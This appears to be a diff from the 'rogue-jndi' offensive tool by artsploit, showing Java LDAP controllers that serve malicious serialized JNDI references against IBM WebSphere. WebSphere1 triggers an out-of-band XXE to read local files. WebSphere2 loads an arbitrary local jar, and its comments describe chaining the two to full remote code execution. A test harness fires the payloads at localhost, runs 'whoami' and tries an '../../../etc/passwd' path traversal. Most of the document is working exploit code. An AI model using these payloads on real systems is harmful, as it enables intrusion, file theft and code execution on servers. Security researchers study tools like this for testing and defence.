import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
import com.unboundid.ldap.sdk.Entry; |
||||
import com.unboundid.ldap.sdk.LDAPResult; |
||||
import com.unboundid.ldap.sdk.ResultCode; |
||||
|
||||
import javax.naming.Reference; |
||||
import javax.naming.StringRefAddr; |
||||
|
||||
import static artsploit.Utilities.serialize; |
||||
|
||||
/** |
||||
* WebSphere1 attack leverages {@link com.ibm.ws.webservices.engine.client.ServiceFactory} |
||||
* to download and parse WSDL files from arbitrary locations |
||||
* |
||||
* Yields: |
||||
* OOB XXE in WSDL parsing with the ability to read some files from local disk or list directories |
||||
* Could also be used to upload files in the temporary folder for {@link WebSphere2} |
||||
* @see artsploit.HttpServer for example of malicious WSDL payloads |
||||
* |
||||
* Requires: |
||||
* - websphere v6-9 libraries in the classpath |
||||
* |
||||
* @author artsploit |
||||
*/ |
||||
@LdapMapping(uri = { "/o=websphere1", "/o=websphere1,wsdl=*" }) |
||||
public class WebSphere1 implements LdapController { |
||||
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||
|
||||
//get wsdl location from the url parameter
|
||||
String wsdl = Utilities.getDnParam(result.getRequest().getBaseDN(), "wsdl"); |
||||
if(wsdl == null) |
||||
wsdl = "http://" + Config.hostname + ":" + Config.httpPort + Config.wsdl; //get from config if not specified
|
||||
|
||||
System.out.println("Sending Websphere1 payload pointing to " + wsdl); |
||||
|
||||
Entry e = new Entry(base); |
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
|
||||
javax.naming.Reference ref = new Reference("ExploitObject", |
||||
"com.ibm.ws.webservices.engine.client.ServiceFactory", null); |
||||
ref.add(new StringRefAddr("WSDL location", wsdl)); |
||||
ref.add(new StringRefAddr("service namespace","xxx")); |
||||
ref.add(new StringRefAddr("service local part","yyy")); |
||||
|
||||
e.addAttribute("javaSerializedData", serialize(ref)); |
||||
|
||||
result.sendSearchEntry(e); |
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||
} |
||||
} |
@ -0,0 +1,59 @@ |
||||
package artsploit.controllers; |
||||
|
||||
import artsploit.Config; |
||||
import artsploit.Utilities; |
||||
import artsploit.annotations.LdapMapping; |
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
import com.unboundid.ldap.sdk.Entry; |
||||
import com.unboundid.ldap.sdk.LDAPResult; |
||||
import com.unboundid.ldap.sdk.ResultCode; |
||||
|
||||
import javax.naming.Reference; |
||||
|
||||
import java.util.Properties; |
||||
|
||||
import static artsploit.Utilities.serialize; |
||||
|
||||
/** |
||||
* WebSphere2 attack leverages {@link com.ibm.ws.client.applicationclient.ClientJ2CCFFactory} |
||||
* to load an arbitrary Bean class with the ability to add any local jar to the classpath |
||||
* |
||||
* Yields: |
||||
* loading and executing any local jar file via classpath manipulation |
||||
* Since we can upload any jar file into /temp folder via XXE in {@link WebSphere1}, this attack could lead to a full RCE |
||||
* @see artsploit.HttpServer for a set of malicious WSDL payloads |
||||
* |
||||
* Requires: |
||||
* - websphere v6-9 libraries in the classpath |
||||
* |
||||
* @author artsploit |
||||
*/ |
||||
@LdapMapping(uri = { "/o=websphere2", "/o=websphere2,jar=*" }) |
||||
public class WebSphere2 implements LdapController { |
||||
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||
|
||||
//get localJar from the url parameter
|
||||
String localJar = Utilities.getDnParam(result.getRequest().getBaseDN(), "jar"); |
||||
if(localJar == null) |
||||
localJar = Config.localjar; //get from config if not specified
|
||||
|
||||
System.out.println("Sending Websphere2 payload pointing to " + localJar); |
||||
|
||||
Entry e = new Entry(base); |
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
|
||||
Reference ref = new Reference("ExportObject", |
||||
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); |
||||
Properties refProps = new Properties(); |
||||
refProps.put("com.ibm.ws.client.classpath", localJar); |
||||
refProps.put("com.ibm.ws.client.classname", "xExportObject"); |
||||
ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddr("JMSProperties", refProps)); |
||||
|
||||
e.addAttribute("javaSerializedData", serialize(ref)); |
||||
|
||||
result.sendSearchEntry(e); |
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||
} |
||||
} |
@ -0,0 +1,54 @@ |
||||
import artsploit.Config; |
||||
import artsploit.RogueJndi; |
||||
import org.junit.BeforeClass; |
||||
import org.junit.Ignore; |
||||
import org.junit.Test; |
||||
|
||||
import javax.naming.InitialContext; |
||||
|
||||
/** |
||||
* Main testing class
|
||||
* @author artsploit |
||||
*/ |
||||
public class RogueJndiTest { |
||||
|
||||
@BeforeClass |
||||
public static void setup() throws Exception { |
||||
//modify testing ldap and http ports to not interfere with the non-testing one
|
||||
Config.hostname = "127.0.0.1"; |
||||
Config.ldapPort = 1390; |
||||
Config.httpPort = 8001; |
||||
Config.command = "whoami"; |
||||
RogueJndi.main(new String[0]); |
||||
} |
||||
|
||||
@Test |
||||
public void reference() throws Exception { |
||||
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); |
||||
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=reference"); |
||||
} |
||||
|
||||
@Test |
||||
public void tomcat() throws Exception { |
||||
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat"); |
||||
} |
||||
|
||||
@Ignore |
||||
@Test |
||||
public void websphere1() throws Exception { |
||||
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=was2,file=../../../etc/passwd"); |
||||
} |
||||
|
||||
private void testLookup(String name) throws Exception { |
||||
TestingSecurityManager sm = new TestingSecurityManager(); |
||||
try { |
||||
System.setSecurityManager(sm); |
||||
new InitialContext().lookup(name); |
||||
} catch (Exception e) { |
||||
e.printStackTrace(); |
||||
} |
||||
|
||||
System.setSecurityManager(null); |
||||
sm.assertExec(); |
||||
} |
||||
} |
@ -0,0 +1,22 @@ |
||||
import java.security.Permission; |
||||
|
||||
public class TestingSecurityManager extends SecurityManager { |
||||
|
||||
String executed; |
||||
|
||||
@Override |
||||
public void checkExec (String cmd) { |
||||
executed = cmd; |
||||
System.out.println("Executed: " + cmd); |
||||
} |
||||
|
||||
@Override |
||||
public void checkPermission (Permission perm) { |
||||
//allow everything
|
||||
} |
||||
|
||||
void assertExec() throws Exception { |
||||
if (executed == null) |
||||
throw new Exception("Runtime.exec() is not executed!"); |
||||
} |
||||
} |
Loading…
Reference in new issue